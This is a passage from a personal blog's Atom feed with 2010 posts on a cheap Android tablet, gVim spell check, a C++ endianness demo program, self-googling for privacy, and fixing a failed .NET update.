this is annoying to say the least.&lt;/s&gt;&lt;span class="Apple-style-span" style="color: blue;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: blue;"&gt;I installed Home++, things are much better now&lt;/span&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Using the USB port does not appear to charge the unit, so I need to have the AC plugged in to charge.&amp;nbsp;&lt;/li&gt;&lt;li&gt;The orientation changing from landscape to portrait and visa-versa is not very response at time, am not sure if this a software issue with Android or hardware issue with the&amp;nbsp;accelerometer.&lt;/li&gt;&lt;li&gt;The Skype client does not support Skype over the Wifi link, so cannot make voice calls using Skype.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;b&gt;Issues&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;The battery runtime leaves a lot to be desired, but I knew this before I got the unit.&amp;nbsp;Issues, the unit does tend to overheat to the extent that it's not comfortable holding it in the palm of your hand for&amp;nbsp;prolonged&amp;nbsp;periods of time. This overheating issue is the only one that I was not aware off.&amp;nbsp;The bottom line is that I was prepared for, and knew what I was getting. For anyone considering a tablet for regular use for anything other than recreation, this unit is not for you, and you should probably wait for Google gPad.&lt;br /&gt;&lt;br /&gt;When I have some more time, I will try to see if there is a better custom firmware and run that to see if it makes a difference.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.ekengroup.com/en/products/show.asp?id=17"&gt;http://www.ekengroup.com/en/products/show.asp?id=17&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.slatedroid.com/eken-m002-firmware-development/8279-[-piece-software-flashed-device-expand-its-functionality]-m002s-2-0-plus.html"&gt;http://www.slatedroid.com/eken-m002-firmware-development/8279-[-piece-software-flashed-device-expand-its-functionality]-m002s-2-0-plus.html&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-295932771415878640?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/295932771415878640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/11/chinese-cheapness-me-likey-vely-much.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/295932771415878640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/295932771415878640'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/11/chinese-cheapness-me-likey-vely-much.html' title='Chinese Cheapness... me likey vely much'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WK7TtRkL_xE/TNFQIyztYYI/AAAAAAAAADM/0ZBURR8zZVk/s72-c/Picture+705.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-653591289168742615</id><published>2010-10-24T01:29:00.001+10:00</published><updated>2010-11-19T23:57:49.251+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bullshit sucks'/><category scheme='http://www.blogger.com/atom/ns#' term='blogs suck'/><category scheme='http://www.blogger.com/atom/ns#' term='people suck'/><title type='text'>Mildly Amusing</title><content type='html'>It's only mildly amusing but perhaps more  of a disappointment what people are passing off as blogs these days.&lt;br /&gt;&lt;br /&gt;Sure everyone has a right to their opinions and an equal right to express them on blogs, but the pretentious content expressed on some blogs is simply misleading and in my opinion an abuse of trust.&lt;br /&gt;&lt;br /&gt;Blog readers vest a certain level of trust in bloggers to accurately represent their perception of the common truth. It's simply unbecoming when bloggers make up facts just to support their opinions and claims.&lt;br /&gt;&lt;br /&gt;There should definitely some form of blog peer review to rank blogs for their content. Possible criteria proposed could be Factual, Opinion, Technical, etc. or TA for bloggers talking out of their bottoms.&lt;br /&gt;&lt;br /&gt;So until some form of peer review, approval and/or ranking is implemented please file this one under Opinion or TA, whichever takes your fancy...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- Posted using BlogPress from my iPhone 3GS&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-653591289168742615?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/653591289168742615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/10/mildly-amusing.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/653591289168742615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/653591289168742615'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/10/mildly-amusing.html' title='Mildly Amusing'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-1577129419292993207</id><published>2010-10-09T14:51:00.000+10:00</published><updated>2010-10-09T14:51:15.740+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CPU usage'/><category scheme='http://www.blogger.com/atom/ns#' term='MSOXMLED.EXE'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML editor'/><category scheme='http://www.blogger.com/atom/ns#' term='MSOHTMED.EXE'/><title type='text'>MSOHTMED.EXE and MSOXMLED.EXE</title><content type='html'>When attempting to edit a HTML document, the Microsoft XML editor may be used. However occasionally this may not function correctly and result in high CPU usage by the&amp;nbsp;MSOHTMED.EXE and MSOXMLED.EXE processes. Using Windows TaskManager to kill the processes may not work also.&lt;br /&gt;&lt;br /&gt;To correct this change the HTML document editor specified in Internet Options.&lt;br /&gt;&lt;b&gt;Control Panel&lt;/b&gt; - &lt;b&gt;Internet Option&lt;/b&gt; - &lt;b&gt;Programs&lt;/b&gt; tab - &lt;b&gt;HTML editor&lt;/b&gt; field&lt;br /&gt;&lt;br /&gt;Reverting back to the original setting also work, but I prefer using Vim for Windows to edit my HTML documents anyway :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-1577129419292993207?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/1577129419292993207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/10/msohtmedexe-and-msoxmledexe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1577129419292993207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/1577129419292993207'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/10/msohtmedexe-and-msoxmledexe.html' title='MSOHTMED.EXE and MSOXMLED.EXE'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-3801359727857997502</id><published>2010-10-06T00:53:00.001+10:00</published><updated>2010-11-19T23:57:15.061+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='spelling'/><category scheme='http://www.blogger.com/atom/ns#' term='spell'/><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='spell check'/><category scheme='http://www.blogger.com/atom/ns#' term='gvim'/><title type='text'>"Spellling" in gVim</title><content type='html'>To enable spell check in gvim&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;:set spell spelllang=en_au&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;To correct highlighted word&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;z=&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;To disable spell check&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;:set nospell&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-3801359727857997502?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/3801359727857997502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/10/spellling-in-gvim.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3801359727857997502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3801359727857997502'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/10/spellling-in-gvim.html' title='&quot;Spellling&quot; in gVim'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-9155843618332923472</id><published>2010-09-12T00:33:00.000+10:00</published><updated>2010-09-12T00:33:51.868+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network programming'/><category scheme='http://www.blogger.com/atom/ns#' term='big endian'/><category scheme='http://www.blogger.com/atom/ns#' term='endian'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><category scheme='http://www.blogger.com/atom/ns#' term='little endian'/><title type='text'>if (Indians || Endians) {...</title><content type='html'>As part of my research project have been working on some network code in C++. Ran into a couple of issues, which were tracked down to incorrect endian orientation, i.e. big-endian vs. little-endian. While testing a couple of theories, came up with a demo app which may be useful to someone.&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: xx-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: xx-small;"&gt;#include &lt;iostream&gt;&lt;br /&gt;#include &lt;string&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt; // printf&lt;br /&gt;#include &lt;stdlib.h&gt; // atoi&lt;br /&gt;&lt;br /&gt;using std::cout;&lt;br /&gt;using std::endl;&lt;br /&gt;using std::string;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;&amp;nbsp;* Declare an integer and check if the high order byte is used or not&lt;br /&gt;&amp;nbsp;* If the high order byte is used then it's little endian based machine&lt;br /&gt;&amp;nbsp;* else its using big endian. The function &lt;code&gt;isBigEndian&lt;/code&gt; is&lt;br /&gt;&amp;nbsp;* define as a macro for inline substitution at compile time.&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;const int ENDIAN = 1;&lt;br /&gt;#define isBigEndian() ((*(char*)&amp;amp;ENDIAN) == 0)&lt;br /&gt;&lt;br /&gt;// function prototypes&lt;br /&gt;int reverseInt( int );&lt;br /&gt;void usage();&lt;br /&gt;/** &lt;br /&gt;&amp;nbsp;* main entry point into the endian demo application. The application accepts&lt;br /&gt;&amp;nbsp;* an integer from the command-line arguments and displays it as an int, as a &lt;br /&gt;&amp;nbsp;* hex value and then finally the raw bytes. If the machine is a little-endian&lt;br /&gt;&amp;nbsp;* based processor then details of the &lt;code&gt;int&lt;/code&gt; is also displayed.&lt;br /&gt;&amp;nbsp;*&lt;br /&gt;&amp;nbsp;* @param argc - &lt;code&gt;int&lt;/code&gt; specifying the number of command line &lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; arguments&lt;br /&gt;&amp;nbsp;* @param argv - &lt;code&gt;char **&lt;/code&gt; containing the actual command line &lt;br /&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; arguments&lt;br /&gt;&amp;nbsp;* @return int - 0 on success, else non-zero value&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;int main( int argc, char **argv ) {&lt;br /&gt;&amp;nbsp; // check command line arguments&lt;br /&gt;&amp;nbsp; if ( argc != 2 ) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; usage();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return -1;&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; // parse and process command line arguments&lt;br /&gt;&amp;nbsp; int x = atoi( argv[1] );&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // get the int&lt;br /&gt;&amp;nbsp; unsigned char *ptr = (unsigned char *)&amp;amp;x; // byte array pointer to int&lt;/stdlib.h&gt;&lt;/stdio.h&gt;&lt;/string&gt;&lt;/iostream&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp; int y = 0;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // variable to hold the reverse int&lt;br /&gt;&lt;br /&gt;&amp;nbsp; // display the int size&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; "sizeof(int) = " &amp;lt;&amp;lt; sizeof(int) &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; endl;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; // display info on the int&lt;br /&gt;&amp;nbsp; printf("dec: %d\n", x);&lt;br /&gt;&amp;nbsp; printf("hex: 0x%x\n", x);&lt;br /&gt;&amp;nbsp; printf("bytes: ");&lt;br /&gt;&amp;nbsp; for (int i=0; i &amp;lt; sizeof(int); i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("0x%x ", ptr[i] ); // using cout is too anoying for formatting!!&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp; string str(( const char * ) ptr );&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; "str: " &amp;lt;&amp;lt; str &amp;lt;&amp;lt; endl;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; // determine endian orientation of machine&lt;br /&gt;&amp;nbsp; if ( isBigEndian() ) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cout &amp;lt;&amp;lt; "Big Endian Machine!!!" &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp; } else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cout &amp;lt;&amp;lt; "Little Endian Machine!!!" &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; y = reverseInt(x); // reverse the int&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("dec: %d\n", y);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("hex: 0x%x\n", y);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("bytes: ");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ptr = (unsigned char *)&amp;amp;y;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (int i=0; i &amp;lt; sizeof(int); i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("0x%x ", ptr[i] ); // using cout is too anoying for formatting!!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cout &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; str = (const char *)ptr;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cout &amp;lt;&amp;lt; "str: " &amp;lt;&amp;lt; str &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;&amp;nbsp;* Should only be called on little endian processers. Reverses the int byte &lt;br /&gt;&amp;nbsp;* order for little endian machines.&lt;br /&gt;&amp;nbsp;*&lt;br /&gt;&amp;nbsp;* @param iNum - &lt;code&gt;int&lt;/code&gt; to reverse&lt;br /&gt;&amp;nbsp;* @param int - the reversed &lt;code&gt;int&lt;/code&gt;&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;int reverseInt( int iNum ) {&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: xx-small;"&gt;&amp;nbsp; unsigned char *rev = new unsigned char[sizeof(int)];&lt;br /&gt;&amp;nbsp; for ( int i = 0; i &amp;lt; sizeof(int); i++ ) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rev[i] = (iNum &amp;gt;&amp;gt; (8*i)) &amp;amp; 255;&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; int ret = 0;&lt;br /&gt;&amp;nbsp; for ( int i = 0; i &amp;lt; sizeof(int); i++ ) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ret += (int)rev[i] &amp;lt;&amp;lt; ((sizeof(int) - (i+1)) * 8);&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; return ret;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;&amp;nbsp;* &lt;code&gt;usage&lt;/code&gt; displays the demo program usage information. The usage&lt;br /&gt;&amp;nbsp;* information is output to stdout.&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;void usage() {&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; "Usage: endian INT" &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; "Endian demo application to check and manipulate int for endian use";&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; "&amp;nbsp; INT\t- int value";&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; endl;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: xx-small;"&gt;&amp;nbsp; cout &amp;lt;&amp;lt; "Example:" &amp;lt;&amp;lt; endl;&lt;br /&gt;&amp;nbsp; cout &amp;lt;&amp;lt; "&amp;nbsp; endian 65535" &amp;lt;&amp;lt; endl;&lt;br /&gt;}&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-9155843618332923472?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/9155843618332923472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/09/if-indians-endians.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/9155843618332923472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/9155843618332923472'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/09/if-indians-endians.html' title='if (Indians || Endians) {...'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-5193073399032664782</id><published>2010-09-01T18:12:00.001+10:00</published><updated>2010-11-19T23:56:48.815+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='narcissism'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Google yourself - Self-googling as a tool for privacy protection</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Due to the growth of recent social networking web application such as Facebook, Twitter, etc. its not un-common to unknowingly disclose personal details into the public domain. The use of seach engines such as Google is a popular way to find out if you have increased the potential vulnerability of identity theft.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Whilst "self‐googling, can be the theory of narcissism,"&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;2&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;its also a good way to investigate personal, and related information about oneself. The consequences of having an unwanted&amp;nbsp;Internet&amp;nbsp;presence can be quite serious, not only from an information security perspective, but also from a social one.&amp;nbsp;&lt;/span&gt;Once you have identified the appropriate information you need to remove them, this is the hard part. Google Webmaster tools provide several guidelines for this.&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;Digital presence create cyber footprint which are not always so easy to get rid off, and can follow the unsuspecting cyber citizen home!!!&amp;nbsp;So perhaps Googling yourself every once in a while is a healthy thing and no so bad after all.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;References:&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #333333;"&gt;&lt;a href="http://www.google.com/webmasters/tools/removals"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;http://www.google.com/webmasters/tools/removals&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.citeulike.org/user/thiemehennis/article/6895338"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;http://www.citeulike.org/user/thiemehennis/article/6895338&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.stopcyberbullying.org/take_action/google_yourself.html"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;http://www.stopcyberbullying.org/take_action/google_yourself.html&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.time.com/time/business/article/0,8599,1893965,00.html"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;http://www.time.com/time/business/article/0,8599,1893965,00.html&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.wikihow.com/Ungoogle-Yourself"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;http://www.wikihow.com/Ungoogle-Yourself&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-5193073399032664782?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/5193073399032664782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2010/09/google-yourself-self-googling-as-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5193073399032664782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5193073399032664782'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2010/09/google-yourself-self-googling-as-tool.html' title='Google yourself - Self-googling as a tool for privacy protection'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-6066261932614839347</id><published>2010-08-19T12:24:00.002+10:00</published><updated>2010-11-19T23:56:21.084+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fail'/><category scheme='http://www.blogger.com/atom/ns#' term='.net'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Failed to install "Security Update for .NET Framework 2.0 SP2 and 3.5 SP1 on Windows Server 2003 and Windows XP x86 (KB983583)"</title><content type='html'>Windows Update kept failing indicating it&amp;nbsp;Failed to install "Security Update for .NET Framework 2.0 SP2 and 3.5 SP1 on Windows Server 2003 and Windows XP x86 (KB983583)"&lt;br /&gt;&lt;br /&gt;After some Googling, and manually downloading and running the update, I managed to get the actual error message 1603 from the manual installer. Later I discovered that the generic error &lt;i&gt;"1603"&lt;/i&gt; implies a &lt;i&gt;"Fatal error during installation."&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;The Microsoft KB seems to indicate that &lt;i&gt;"These errors codes are usually caused by a corruption in the .NET Framework installation or by an inconsistency on the MSI database state.".&lt;/i&gt;&amp;nbsp;In an attempt to resolve the issue as per the KB, I attempted to manually uninstall the .net framework, but this too failed.&lt;br /&gt;&lt;br /&gt;I then downloaded the un-installer &lt;span class="Apple-style-span" style="font-size: x-small;"&gt;(Refer 3 below)&lt;/span&gt; and forced the uninstall. Installed the latest .net framework and updated.&amp;nbsp;I had to reboot the machine after the first lot of updates, and attempted Windows Update again after the reboot. Uninstalling and re-installing the .net framework appears to have resolved the issue.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;References:&lt;/u&gt;&lt;br 